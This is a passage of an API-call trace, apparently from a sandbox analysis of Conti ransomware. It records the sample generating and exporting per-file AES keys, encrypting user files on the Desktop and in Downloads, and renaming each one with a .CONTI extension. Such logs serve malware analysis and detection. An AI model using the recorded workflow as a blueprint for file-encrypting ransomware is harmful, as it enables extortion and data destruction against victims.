	[0137.636] WriteFile (in: hFile=0x434, lpBuffer=0x6b4e05c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4e05c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.642] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.642] ReadFile (in: hFile=0x434, lpBuffer=0xda50000, nNumberOfBytesToRead=0x139f5, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x139f5, lpOverlapped=0x0) returned 1
	[0137.643] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x139f5, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x13a00) returned 1
	[0137.643] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.643] WriteFile (in: hFile=0x434, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x13a00, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x13a00, lpOverlapped=0x0) returned 1
	[0137.643] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.643] WriteFile (in: hFile=0x434, lpBuffer=0x6b4e050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b4e050*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0137.643] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.643] CloseHandle (hObject=0x434) returned 1
	[0137.644] GetProcessHeap () returned 0x1720000
	[0137.644] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.644] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv") returned="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv"
	[0137.644] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv.CONTI"
	[0137.644] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\i9wxpkeapt4ymj7vx.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\i9wxpkeapt4ymj7vx.flv.conti")) returned 1
	[0137.644] GetProcessHeap () returned 0x1720000
	[0137.644] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.644] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0137.644] GetProcessHeap () returned 0x1720000
	[0137.644] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbfd0 | out: hHeap=0x1720000) returned 1
	[0137.644] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0137.644] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b53030 | out: phKey=0x6b53030*=0x6b7f0b8) returned 1
	[0137.644] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53034, pdwDataLen=0x4bffe94 | out: pbData=0x6b53034*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0137.645] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\5q1u9jlc1e0.wav")) returned 0x20
	[0137.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\5q1u9jlc1e0.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0137.646] GetLastError () returned 0x0
	[0137.646] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=84498) returned 1
	[0137.646] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14a12
	[0137.646] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.646] SetEndOfFile (hFile=0x434) returned 1
	[0137.646] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.646] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.646] WriteFile (in: hFile=0x434, lpBuffer=0x6b53034*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b53034*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.648] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.648] ReadFile (in: hFile=0x434, lpBuffer=0xda50000, nNumberOfBytesToRead=0x14a12, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x14a12, lpOverlapped=0x0) returned 1
	[0137.653] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x14a12, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x14a20) returned 1
	[0137.653] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.654] WriteFile (in: hFile=0x434, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x14a20, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x14a20, lpOverlapped=0x0) returned 1
	[0137.654] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.654] WriteFile (in: hFile=0x434, lpBuffer=0x6b53028*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b53028*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0137.654] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.654] CloseHandle (hObject=0x434) returned 1
	[0137.654] GetProcessHeap () returned 0x1720000
	[0137.654] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.654] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav"
	[0137.654] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav.CONTI"
	[0137.654] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\5q1u9jlc1e0.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\5q1u9jlc1E0.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\5q1u9jlc1e0.wav.conti")) returned 1
	[0137.655] GetProcessHeap () returned 0x1720000
	[0137.655] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.655] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0137.655] GetProcessHeap () returned 0x1720000
	[0137.655] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de760 | out: hHeap=0x1720000) returned 1
	[0137.655] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0137.655] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b53b98 | out: phKey=0x6b53b98*=0x6b7f438) returned 1
	[0137.655] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53b9c, pdwDataLen=0x4bffe94 | out: pbData=0x6b53b9c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0137.656] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\jkubsc.wav")) returned 0x20
	[0137.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\jkubsc.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0137.656] GetLastError () returned 0x0
	[0137.656] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=99731) returned 1
	[0137.656] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18593
	[0137.656] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.656] SetEndOfFile (hFile=0x434) returned 1
	[0137.660] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.660] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.660] WriteFile (in: hFile=0x434, lpBuffer=0x6b53b9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b53b9c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.668] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.668] ReadFile (in: hFile=0x434, lpBuffer=0xda50000, nNumberOfBytesToRead=0x18593, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x18593, lpOverlapped=0x0) returned 1
	[0137.673] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x18593, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x185a0) returned 1
	[0137.673] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.673] WriteFile (in: hFile=0x434, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x185a0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x185a0, lpOverlapped=0x0) returned 1
	[0137.674] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.674] WriteFile (in: hFile=0x434, lpBuffer=0x6b53b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b53b90*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0137.674] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.674] CloseHandle (hObject=0x434) returned 1
	[0137.674] GetProcessHeap () returned 0x1720000
	[0137.674] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.674] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav"
	[0137.674] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav.CONTI"
	[0137.674] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\jkubsc.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\JkUbSC.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\jkubsc.wav.conti")) returned 1
	[0137.675] GetProcessHeap () returned 0x1720000
	[0137.675] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.675] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.675] GetProcessHeap () returned 0x1720000
	[0137.675] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbb58 | out: hHeap=0x1720000) returned 1
	[0137.675] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0137.675] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b52958 | out: phKey=0x6b52958*=0x6b7f278) returned 1
	[0137.675] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5295c, pdwDataLen=0x4bffe94 | out: pbData=0x6b5295c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0137.676] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\vfsf.swf")) returned 0x20
	[0137.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\vfsf.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0137.676] GetLastError () returned 0x0
	[0137.676] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=67285) returned 1
	[0137.676] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x106d5
	[0137.676] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.676] SetEndOfFile (hFile=0x434) returned 1
	[0137.676] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.676] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.676] WriteFile (in: hFile=0x434, lpBuffer=0x6b5295c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b5295c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.073] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.073] ReadFile (in: hFile=0x434, lpBuffer=0xda50000, nNumberOfBytesToRead=0x106d5, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x106d5, lpOverlapped=0x0) returned 1
	[0139.074] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x106d5, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x106e0) returned 1
	[0139.074] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.074] WriteFile (in: hFile=0x434, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x106e0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x106e0, lpOverlapped=0x0) returned 1
	[0139.074] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.074] WriteFile (in: hFile=0x434, lpBuffer=0x6b52950*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b52950*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0139.074] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.074] CloseHandle (hObject=0x434) returned 1
	[0139.074] GetProcessHeap () returned 0x1720000
	[0139.074] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.830] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf"
	[0140.830] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf.CONTI"
	[0140.830] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\vfsf.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\vFSf.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\vfsf.swf.conti")) returned 1
	[0140.831] GetProcessHeap () returned 0x1720000
	[0140.831] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.832] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0140.832] GetProcessHeap () returned 0x1720000
	[0140.832] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17411c0 | out: hHeap=0x1720000) returned 1
	[0140.832] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0140.832] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b53708 | out: phKey=0x6b53708*=0x6b7f278) returned 1
	[0140.832] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5370c, pdwDataLen=0x4bffe94 | out: pbData=0x6b5370c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0140.833] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Downloads\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini")) returned 0x26
	[0140.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Downloads\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0140.834] GetLastError () returned 0x0
	[0140.834] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=282) returned 1
	[0140.834] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11a
	[0140.834] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.834] SetEndOfFile (hFile=0x43c) returned 1
	[0140.838] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.838] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.838] WriteFile (in: hFile=0x43c, lpBuffer=0x6b5370c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b5370c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.840] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.841] ReadFile (in: hFile=0x43c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x11a, lpOverlapped=0x0) returned 1
	[0140.841] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11a, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x120) returned 1
	[0140.841] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.841] WriteFile (in: hFile=0x43c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x120, lpOverlapped=0x0) returned 1
	[0140.841] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.841] WriteFile (in: hFile=0x43c, lpBuffer=0x6b53700*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b53700*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0140.841] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.841] CloseHandle (hObject=0x43c) returned 1
	[0140.841] GetProcessHeap () returned 0x1720000
	[0140.841] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.841] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Downloads\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Downloads\\desktop.ini") returned="C:\\Users\\FD1HVy\\Downloads\\desktop.ini"
	[0140.841] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Downloads\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Downloads\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Downloads\\desktop.ini.CONTI"
	[0140.841] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Downloads\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Downloads\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini.conti")) returned 1
	[0140.842] GetProcessHeap () returned 0x1720000
	[0140.842] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.842] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0140.842] GetProcessHeap () returned 0x1720000
	[0140.842] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bedb8 | out: hHeap=0x1720000) returned 1
